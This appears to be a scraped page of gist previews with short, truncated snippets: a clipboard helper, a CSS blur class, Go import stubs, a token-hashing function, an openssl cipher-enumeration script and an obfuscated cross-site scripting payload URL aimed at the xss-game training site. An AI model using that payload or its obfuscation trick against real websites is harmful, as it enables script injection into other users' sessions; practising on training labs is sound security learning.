This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function copy(val) { | |
const t = document.createElement("textarea"); | |
document.body.appendChild(t); | |
t.value = val; | |
t.select(); | |
document.execCommand('copy'); | |
document.body.removeChild(t); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
.blur { | |
filter: blur(2px); | |
-webkit-filter: | |
blur(2px); | |
pointer-events: none; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
https://xss-game.appspot.com/level1/frame?query=%3Cscript%3E([,%ED%95%98,,,,%ED%9B%8C]=[]%2B{},[%ED%95%9C,%EA%B8%80,%ED%8E%98,%EC%9D%B4,,%EB%A1%9C,%EB%93%9C,%E3%85%8B,,,%E3%85%8E]=[!!%ED%95%98]%2B!%ED%95%98%2B%ED%95%98.%E3%85%81)[%ED%9B%8C%2B=%ED%95%98%2B%E3%85%8E%2B%E3%85%8B%2B%ED%95%9C%2B%EA%B8%80%2B%ED%8E%98%2B%ED%9B%8C%2B%ED%95%9C%2B%ED%95%98%2B%EA%B8%80][%ED%9B%8C](%EB%A1%9C%2B%EB%93%9C%2B%EC%9D%B4%2B%EA%B8%80%2B%ED%95%9C%2B%27(45)%27)()%3C/script%3E |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"net/http" | |
"time" | |
"net/url" | |
"github.com/labstack/echo" | |
"github.com/tylerb/graceful" | |
) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
SERVER=$1 | |
DELAY=1 | |
ciphers=$(openssl ciphers 'ALL:eNULL' | sed -e 's/:/ /g') | |
echo Enum cipher list from $(openssl version). | |
echo "========================" | |
for cipher in ${ciphers[@]} | |
do | |
result=$(echo -n | openssl s_client -cipher "$cipher" -connect $SERVER 2>&1) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"flag" | |
"fmt" | |
) | |
func main() { | |
flag.String("a", "", "flag 1") | |
flag.String("b", "", "flag 2") | |
flag.String("c", "", "flag 3") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
tree -f | cut -d "." -f 2-99 | sort -u | tee paths |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
func MakeToken(url string) string { | |
now := time.Now() | |
nanos := now.UnixNano() | |
sum := sha256.Sum256([]byte(strconv.FormatInt(nanos,10)+url)) | |
data := fmt.Sprintf("%x",string(sum[:])) | |
return data | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"net/http" | |
"github.com/labstack/echo/v4/middleware" | |
"github.com/labstack/echo/v4" | |
"github.com/tylerb/graceful" | |
) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"fmt" | |
"strconv" | |
"sync" | |
) | |
func main() { | |
fmt.Println("vim-go") |